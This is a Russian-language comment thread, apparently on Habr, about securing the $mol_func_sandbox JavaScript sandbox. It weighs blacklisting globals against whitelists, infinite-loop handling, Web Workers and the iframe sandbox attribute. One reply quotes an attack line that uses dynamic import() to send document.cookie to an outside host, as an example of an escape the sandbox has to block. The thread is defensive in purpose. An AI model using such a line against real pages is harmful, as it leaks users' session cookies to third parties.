Comments 12
1) Мужественно боремся с глобальными объектами по принципу blacklist, что означает, что как только проект перестанет обновляться, а в браузеры запилят еще одну <...>Function — тут-то сразу вся безопасность и накроется.
2) Никак не решаем (и принципиально не можем) решить проблему останова, что в итоге хоть и не позволит нехорошему человеку «всё сломать», зато легко позволить «всё повесить».
3) Высказываем «фэ» в адрес воркеров, которые позволяют сильно уменьшить объем возни по пункту №1 и способны принципиально решать пункт №2.
Я ничего не упустил?
Ага.
- blacklist — это страховка от невнимательности программиста при импорте значениий в песочницу. Сами по себе они импортироваться не начнут при обновлении браузера.
- Эта проблема решается в другой плоскости: у злоумышленника UI повиснет ещё на этапе ввода. А если он пришлёт бесконечный цикл в обход UI, то он легко детектируется и банится.
- Перечитайте ещё раз. Когда допустимы ограничения воркера — это лучшее решение.
3. Вы ни слова не сказали о кейсах, которые не позволяют вам взять воркер. Только общие слова.
- Не верно понял сначала. Да, если в браузеры добавят ещё какие-либо синтаксические конструкции, то нужно будет обновить код для их поддержки.
- Всё просто — запускаем и замеряем время исполнения. Всё, что превышает лимит — отбраковывается. Не важно, что-то полезное оно там делает или не очень.
- Вам, как любителю MobX, должна быть знакома концепция автотрекинга зависимостей, для работоспособности которой вызовы должны быть именно синхронными.
Я правильно понимаю, что код песочницы в итоге запускается в IFrame? Не проще ли тогда просто воспользоваться нативным sandbox
аттрибутом?
Спасибо, добавил историю про import:
Наконец, есть такая противная вещь как import()
, которая является не функцией, а конструкцией языка, поэтому просто удалить её не получится, а натворить дел она позволяет:
import( "https://example.org/" + document.cookie )
Мы могли бы с помощью атрибута sandbox
у фрейма запретить исполнять скрипты загруженные с левого домена:
frame.setAttribute( 'sandbox' , `allow-same-origin` )
Но запрос до сервера всё-равно пройдёт. Поэтому лучше воспользоваться более надёжным решением — прибить event-loop путём удаления фрейма, после получения из него всех нужных для запуска скриптов объектов:
const SafeFunction = frame.contentWindow.Function
const SafeJSON = frame.contentWindow.JSON
frame.parentNode.removeChild( frame )
Соответственно, любые асинхронные операции будут выдавать ошибку, но синхронные будут продолжать работать.
Я придерживаюсь мнения что оба варианта это либо костыли либо тормоза. Правильным вариантом был бы статический анализ кода (тот же белый список но только без интерпретации — то есть со скоростью нативного js). Это правда реализовать сложнее — нужно взять некое подмножество typescript в котором невозможен будет any и будет разрешен только набор предусмотренных апишек но зато это будет белый список и эту песочницу по определению нельзя будет взломать
Среди черного списка, белого списка, и песочницы — черный список испокон веков самый проблемный, а уж в JS и подавно, учитывая скорость изменений. Конечно, было бы веселее, если бы в браузере можно было бы погонять полноценную песочницу — тогда это был бы хороший выход для тех, кому надо что-то не сильно обрезанное, но с этим пока что увы. Впрочем, воркеры не без оговорок на роль песочницы могут вполне сгодиться.
Ну а уж если особой мощи скриптов не нужно (а учитывая, сколько всего лихо отпилил от ЖСа автор статьи — ни о какой «особой мощи» говорить не приходится) — то белый список является во многие разы более безопасным решением, чем очередная попытка навелосипедить чёрный.
$mol_func_sandbox: взломай меня, если сможешь!.